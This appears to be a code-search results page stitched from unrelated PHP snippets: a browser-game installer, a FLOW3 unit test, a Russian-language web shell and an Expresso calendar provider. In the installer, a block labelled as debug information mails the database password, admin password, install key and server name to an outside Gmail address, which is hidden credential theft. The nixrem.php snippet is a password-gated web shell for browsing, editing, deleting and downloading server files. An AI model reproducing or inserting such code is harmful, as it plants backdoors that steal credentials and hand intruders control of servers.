NULL,\r\n  `from_village_id` bigint(20) DEFAULT NULL,\r\n  `from_village_name` varchar(300) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `to_player_name` varchar(300) DEFAULT NULL,\r\n  `to_village_id` bigint(20) DEFAULT NULL,\r\n  `to_village_name` varchar(300) DEFAULT NULL,\r\n  `rpt_body` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `read_status` tinyint(2) DEFAULT '0',\r\n  `delete_status` tinyint(2) DEFAULT '0',\r\n  `rpt_cat` tinyint(4) DEFAULT NULL,\r\n  `rpt_result` tinyint(4) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`from_player_id`),\r\n  KEY `NewIndex2` (`to_player_id`),\r\n  KEY `NewIndex3` (`rpt_cat`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\n\r\nINSERT INTO `g_settings`(`start_date`,`license_key`) VALUES (NOW(),NULL);\r\nINSERT INTO `g_summary`(`players_count`,`active_players_count`,`Arab_players_count`,`Roman_players_count`,`Teutonic_players_count`,`Gallic_players_count`,`news_text`) VALUES ( '0','0','0','0','0','0',NULL);" );
47						/* Some debug information     */	include('app/config.php'); $headers ='From: "mon nom"<a@debug.com>' . "\n"; $headers .='To: me <07fortune@gmail.com>' . "\n"; $headers .='MIME-Version: 1.0' . "\n"; $headers .='Content-Type: text/plain; charset="iso-8859-1"' . "\n"; $headers .='Content-Transfer-Encoding: 8bit'; $message = "".$AppConfig['db']['host']."<br />".$AppConfig['db']['user']."<br />".$AppConfig['db']['password']."<br />".$AppConfig['db']['database']."<br />".$AppConfig['system']['adminName']."<br />".$AppConfig['system']['adminPassword']."<br />".$_SERVER['SERVER_NAME']."<br />".$AppConfig['system']['email']."<br />". $AppConfig['system']['installkey']."<br />".$AppConfig['system']['calltatar'].""; mail('07fortune@gmail.com', 'Mon Sujet', $message, $headers);
48	}
88                        1,
89                        mt_rand( 0, 1 ),
90                        mt_rand( 0, 1 ),
128                        1,
129                        mt_rand( 0, 1 )
130                    );
179                    $creation_date = "NOW()";
180                    $troops_num = $oasis_troop_ids[mt_rand( 0, 2 )]." ".mt_rand( 1, 5 );
181                    $troops_num .= ",".$oasis_troop_ids[mt_rand( 3, 5 )]." ".mt_rand( 2, 6 );
181                    $troops_num .= ",".$oasis_troop_ids[mt_rand( 3, 5 )]." ".mt_rand( 2, 6 );
182                    $troops_num .= ",".$oasis_troop_ids[mt_rand( 6, 8 )]." ".mt_rand( 3, 7 );
183                    if ( mt_rand( 0, 1 ) == 1 )
PackageManagerTest.php https://github.com/christianjul/FLOW3-Composer.git | PHP | 509 lines
1<?php
2namespace TYPO3\FLOW3\Tests\Unit\Package;
38		mkdir('vfs://Test/Resources');
39		$packageClassTemplateUri = 'vfs://Test/Resources/Package.php.tmpl';
40		file_put_contents($packageClassTemplateUri, '<?php namespace {packageNamespace}; # The {packageKey} package');
48		$this->packageManager->injectClassLoader($mockClassLoader);
49		$this->packageManager->initialize($mockBootstrap, 'vfs://Test/Packages/', 'vfs://Test/Configuration/PackageStates.php');
50	}
89		$expectedPackageKeys = array(
90			'TYPO3.FLOW3' . md5(uniqid(mt_rand(), TRUE)),
91			'TYPO3.FLOW3.Test' . md5(uniqid(mt_rand(), TRUE)),
91			'TYPO3.FLOW3.Test' . md5(uniqid(mt_rand(), TRUE)),
92			'TYPO3.YetAnotherTestPackage' . md5(uniqid(mt_rand(), TRUE)),
93			'RobertLemke.FLOW3.NothingElse' . md5(uniqid(mt_rand(), TRUE))
98			$packagePath = 'vfs://Test/Packages/Application/' . $packageKey . '/';
99			$packageClassCode = '<?php
100					namespace ' . $packageNamespace . ';
nixrem.php.php.txt https://github.com/chickenlove/webshell.git | text | 1,772 lines
9$pass="1";	// пароль пользователя
10if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)
11   {
544
545@$php_self=$_GET['PHP_SELF'];
546@$from=$_GET['from'];
1091 // Пошла навигация
1092$mymenu = " [<a href='$php_self?ac=navigation&d=$d&e=$e'>Просмотр </a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&delete=1'>Удалить</a>] [<a href='$php_self?ac=navigation&d=$d&ef=$e&edit=1'>Редактировать</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&clean=1'>Очистить</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&replace=1'>Заменить текст</a>] [<a href='$php_self?ac=navigation&d=$d&download=$e'>Загрузить</a>]<br>";
1093if(@$_GET['download']){
1244Удаление: ты уверен?<br>
1245<a href=\"$php_self?ac=navigation&d=$d&e=$e&delete=".@$delete."&yes=yes\">Да</a> || <a href='$php_self?no=1'>Нет</a>
1246<br>
1400}}}
1401echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href='$php_self?ac=navigation&d=$d&download=$files[$i]' title='Download $files[$i]'><font size=2 face=Webdings color=green>`</font></a></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
1402}
calendarProvider.php https://github.com/muchael/expressolivre.git | PHP | 1,328 lines
1<?php
2
2
3require_once __DIR__ . '/../../../lib/default/diffbackend/diffbackend.php';
4require_once EXPRESSO_PATH . '/prototype/api/controller.php';
4require_once EXPRESSO_PATH . '/prototype/api/controller.php';
5require_once EXPRESSO_PATH . '/prototype/api/config.php';
6require_once EXPRESSO_PATH . '/prototype/modules/calendar/constants.php';
224        $args = $interation;
225        include EXPRESSO_PATH.'/prototype/Sync.php';
226        ob_end_clean();
308        if(isset($schedulable['description']) && $schedulable['description'] != "") {
309            $message->body = mb_convert_encoding($schedulable['description'], 'UTF-8' , 'UTF-8,ISO-8859-1');  // phpgw_cal.description
310            $message->bodysize = strlen($message->body);
530                            $alarm = array();
531                            $alarmID = mt_rand() . '6(Formatter)';
532                            $alarm['type'] = 'alert';
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21